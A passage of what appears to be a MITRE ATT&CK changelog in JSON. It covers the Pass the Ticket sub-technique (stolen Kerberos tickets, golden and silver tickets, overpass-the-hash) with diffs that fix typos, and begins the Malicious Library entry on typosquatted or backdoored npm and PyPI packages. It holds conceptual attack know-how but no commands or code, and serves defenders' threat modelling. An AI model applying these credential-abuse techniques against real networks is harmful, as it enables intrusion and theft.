                    "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen performing PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using an NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1550/003",
                            "external_id": "T1550.003"
                        },
                        {
                            "source_name": "Campbell 2014",
                            "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.",
                            "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                        },
                        {
                            "source_name": "GentilKiwi Pass the Ticket",
                            "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.",
                            "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                        },
                        {
                            "source_name": "ADSecurity AD Kerberos Attacks",
                            "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                            "url": "https://adsecurity.org/?p=556"
                        },
                        {
                            "source_name": "Stealthbits Overpass-the-Hash",
                            "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
                            "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Ryan Becwar",
                        "Vincent Le Toux"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:23:29.066000+00:00\", \"old_value\": \"2026-05-12 15:12:00.643000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may \\u201cpass the ticket\\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\\n\\nWhen performing PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\\n\\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\\n\\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\\n\\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \\\"overpassing the hash\\\" involves using an NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\", \"old_value\": \"Adversaries may \\u201cpass the ticket\\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\\n\\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\\n\\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\\n\\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\\n\\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \\\"overpassing the hash\\\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n Adversaries may \\u201cpass the ticket\\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\\n \\n-When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\\n+When performing PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\\n \\n A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\\n \\n A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\\n \\n-Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \\\"overpassing the hash\\\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\\n+Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \\\"overpassing the hash\\\" involves using an NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to142__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to142__0\"><a href=\"#difflib_chg_to142__top\">t</a></td><td class=\"diff_header\" id=\"from142_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;\u201cpass&nbsp;the&nbsp;ticket\u201d&nbsp;using&nbsp;stolen&nbsp;Kerberos&nbsp;tick</td><td class=\"diff_next\"><a href=\"#difflib_chg_to142__top\">t</a></td><td class=\"diff_header\" id=\"to142_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;\u201cpass&nbsp;the&nbsp;ticket\u201d&nbsp;using&nbsp;stolen&nbsp;Kerberos&nbsp;tick</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;to&nbsp;move&nbsp;laterally&nbsp;within&nbsp;an&nbsp;environment,&nbsp;bypassing&nbsp;norma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;to&nbsp;move&nbsp;laterally&nbsp;within&nbsp;an&nbsp;environment,&nbsp;bypassing&nbsp;norma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;system&nbsp;access&nbsp;controls.&nbsp;Pass&nbsp;the&nbsp;ticket&nbsp;(PtT)&nbsp;is&nbsp;a&nbsp;method&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;system&nbsp;access&nbsp;controls.&nbsp;Pass&nbsp;the&nbsp;ticket&nbsp;(PtT)&nbsp;is&nbsp;a&nbsp;method&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;authenticating&nbsp;to&nbsp;a&nbsp;system&nbsp;using&nbsp;Kerberos&nbsp;tickets&nbsp;without</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;authenticating&nbsp;to&nbsp;a&nbsp;system&nbsp;using&nbsp;Kerberos&nbsp;tickets&nbsp;without</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;having&nbsp;access&nbsp;to&nbsp;an&nbsp;account's&nbsp;password.&nbsp;Kerberos&nbsp;authentica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;having&nbsp;access&nbsp;to&nbsp;an&nbsp;account's&nbsp;password.&nbsp;Kerberos&nbsp;authentica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;the&nbsp;first&nbsp;step&nbsp;to&nbsp;lateral&nbsp;movement&nbsp;to&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;the&nbsp;first&nbsp;step&nbsp;to&nbsp;lateral&nbsp;movement&nbsp;to&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">remote&nbsp;system.&nbsp;&nbsp;When&nbsp;p<span class=\"diff_chg\">re</span>forming&nbsp;PtT,&nbsp;valid&nbsp;Kerberos&nbsp;tickets&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">remote&nbsp;system.&nbsp;&nbsp;When&nbsp;p<span class=\"diff_chg\">er</span>forming&nbsp;PtT,&nbsp;valid&nbsp;Kerberos&nbsp;tickets&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.org/techniques/T10</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">78)&nbsp;are&nbsp;captured&nbsp;by&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">78)&nbsp;are&nbsp;captured&nbsp;by&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1003).&nbsp;A&nbsp;user's&nbsp;service&nbsp;tickets&nbsp;or&nbsp;tick</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1003).&nbsp;A&nbsp;user's&nbsp;service&nbsp;tickets&nbsp;or&nbsp;tick</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;granting&nbsp;ticket&nbsp;(TGT)&nbsp;may&nbsp;be&nbsp;obtained,&nbsp;depending&nbsp;on&nbsp;the&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;granting&nbsp;ticket&nbsp;(TGT)&nbsp;may&nbsp;be&nbsp;obtained,&nbsp;depending&nbsp;on&nbsp;the&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evel&nbsp;of&nbsp;access.&nbsp;A&nbsp;service&nbsp;ticket&nbsp;allows&nbsp;for&nbsp;access&nbsp;to&nbsp;a&nbsp;part</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evel&nbsp;of&nbsp;access.&nbsp;A&nbsp;service&nbsp;ticket&nbsp;allows&nbsp;for&nbsp;access&nbsp;to&nbsp;a&nbsp;part</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icular&nbsp;resource,&nbsp;whereas&nbsp;a&nbsp;TGT&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;request&nbsp;servic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icular&nbsp;resource,&nbsp;whereas&nbsp;a&nbsp;TGT&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;request&nbsp;servic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;tickets&nbsp;from&nbsp;the&nbsp;Ticket&nbsp;Granting&nbsp;Service&nbsp;(TGS)&nbsp;to&nbsp;access&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;tickets&nbsp;from&nbsp;the&nbsp;Ticket&nbsp;Granting&nbsp;Service&nbsp;(TGS)&nbsp;to&nbsp;access&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ny&nbsp;resource&nbsp;the&nbsp;user&nbsp;has&nbsp;privileges&nbsp;to&nbsp;access.(Citation:&nbsp;ADS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ny&nbsp;resource&nbsp;the&nbsp;user&nbsp;has&nbsp;privileges&nbsp;to&nbsp;access.(Citation:&nbsp;ADS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecurity&nbsp;AD&nbsp;Kerberos&nbsp;Attacks)(Citation:&nbsp;GentilKiwi&nbsp;Pass&nbsp;the&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecurity&nbsp;AD&nbsp;Kerberos&nbsp;Attacks)(Citation:&nbsp;GentilKiwi&nbsp;Pass&nbsp;the&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icket)&nbsp;&nbsp;A&nbsp;[Silver&nbsp;Ticket](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icket)&nbsp;&nbsp;A&nbsp;[Silver&nbsp;Ticket](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1558/002)&nbsp;can&nbsp;be&nbsp;obtained&nbsp;for&nbsp;services&nbsp;that&nbsp;use&nbsp;Kerberos&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1558/002)&nbsp;can&nbsp;be&nbsp;obtained&nbsp;for&nbsp;services&nbsp;that&nbsp;use&nbsp;Kerberos&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;an&nbsp;authentication&nbsp;mechanism&nbsp;and&nbsp;are&nbsp;used&nbsp;to&nbsp;generate&nbsp;tick</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;an&nbsp;authentication&nbsp;mechanism&nbsp;and&nbsp;are&nbsp;used&nbsp;to&nbsp;generate&nbsp;tick</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;to&nbsp;access&nbsp;that&nbsp;particular&nbsp;resource&nbsp;and&nbsp;the&nbsp;system&nbsp;that&nbsp;h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;to&nbsp;access&nbsp;that&nbsp;particular&nbsp;resource&nbsp;and&nbsp;the&nbsp;system&nbsp;that&nbsp;h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">osts&nbsp;the&nbsp;resource&nbsp;(e.g.,&nbsp;SharePoint).(Citation:&nbsp;ADSecurity&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">osts&nbsp;the&nbsp;resource&nbsp;(e.g.,&nbsp;SharePoint).(Citation:&nbsp;ADSecurity&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D&nbsp;Kerberos&nbsp;Attacks)&nbsp;&nbsp;A&nbsp;[Golden&nbsp;Ticket](https://attack.mitre.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D&nbsp;Kerberos&nbsp;Attacks)&nbsp;&nbsp;A&nbsp;[Golden&nbsp;Ticket](https://attack.mitre.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1558/001)&nbsp;can&nbsp;be&nbsp;obtained&nbsp;for&nbsp;the&nbsp;domain&nbsp;usi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1558/001)&nbsp;can&nbsp;be&nbsp;obtained&nbsp;for&nbsp;the&nbsp;domain&nbsp;usi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;the&nbsp;Key&nbsp;Distribution&nbsp;Service&nbsp;account&nbsp;KRBTGT&nbsp;account&nbsp;NTLM&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;the&nbsp;Key&nbsp;Distribution&nbsp;Service&nbsp;account&nbsp;KRBTGT&nbsp;account&nbsp;NTLM&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hash,&nbsp;which&nbsp;enables&nbsp;generation&nbsp;of&nbsp;TGTs&nbsp;for&nbsp;any&nbsp;account&nbsp;in&nbsp;Ac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hash,&nbsp;which&nbsp;enables&nbsp;generation&nbsp;of&nbsp;TGTs&nbsp;for&nbsp;any&nbsp;account&nbsp;in&nbsp;Ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tive&nbsp;Directory.(Citation:&nbsp;Campbell&nbsp;2014)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tive&nbsp;Directory.(Citation:&nbsp;Campbell&nbsp;2014)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;create&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket&nbsp;using&nbsp;other&nbsp;user&nbsp;informati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;create&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket&nbsp;using&nbsp;other&nbsp;user&nbsp;informati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on,&nbsp;such&nbsp;as&nbsp;stolen&nbsp;password&nbsp;hashes&nbsp;or&nbsp;AES&nbsp;keys.&nbsp;For&nbsp;example,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on,&nbsp;such&nbsp;as&nbsp;stolen&nbsp;password&nbsp;hashes&nbsp;or&nbsp;AES&nbsp;keys.&nbsp;For&nbsp;example,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;\"overpassing&nbsp;the&nbsp;hash\"&nbsp;involves&nbsp;using&nbsp;a&nbsp;NTLM&nbsp;password&nbsp;hash&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;\"overpassing&nbsp;the&nbsp;hash\"&nbsp;involves&nbsp;using&nbsp;a<span class=\"diff_add\">n</span>&nbsp;NTLM&nbsp;password&nbsp;hash</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;authenticate&nbsp;as&nbsp;a&nbsp;user&nbsp;(i.e.&nbsp;[Pass&nbsp;the&nbsp;Hash](https://atta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;authenticate&nbsp;as&nbsp;a&nbsp;user&nbsp;(i.e.&nbsp;[Pass&nbsp;the&nbsp;Hash](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1550/002))&nbsp;while&nbsp;also&nbsp;using&nbsp;the&nbsp;pas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1550/002))&nbsp;while&nbsp;also&nbsp;using&nbsp;the&nbsp;pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sword&nbsp;hash&nbsp;to&nbsp;create&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket.(Citation:&nbsp;Stea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;hash&nbsp;to&nbsp;create&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket.(Citation:&nbsp;Ste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lthbits&nbsp;Overpass-the-Hash)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">althbits&nbsp;Overpass-the-Hash)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1015: Active Directory Configuration",
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0352: Detection Strategy for T1550.003 - Pass the Ticket (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--73b24a10-6bf4-4af1-a81e-67b8bcb6c4e6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-05-22 19:50:18.472000+00:00",
                    "modified": "2026-11-03 21:55:53.643000+00:00",
                    "name": "Malicious Library",
                    "description": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. Users may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1204/005",
                            "external_id": "T1204.005"
                        },
                        {
                            "source_name": "Datadog Security Labs Malicious PyPi Packages 2024",
                            "description": " Sebastian Obregoso  and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.",
                            "url": "https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/"
                        },
                        {
                            "source_name": "Fortinet Malicious NPM Packages 2023",
                            "description": "Jin Lee and Jenna Wang. (2023, October 2). Malicious Packages Hidden in NPM. Retrieved May 22, 2025.",
                            "url": "https://www.fortinet.com/blog/threat-research/malicious-packages-hiddin-in-npm"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:55:53.643000+00:00\", \"old_value\": \"2025-05-22 21:22:40.822000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. Users may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\\n\\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\", \"old_value\": \"Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 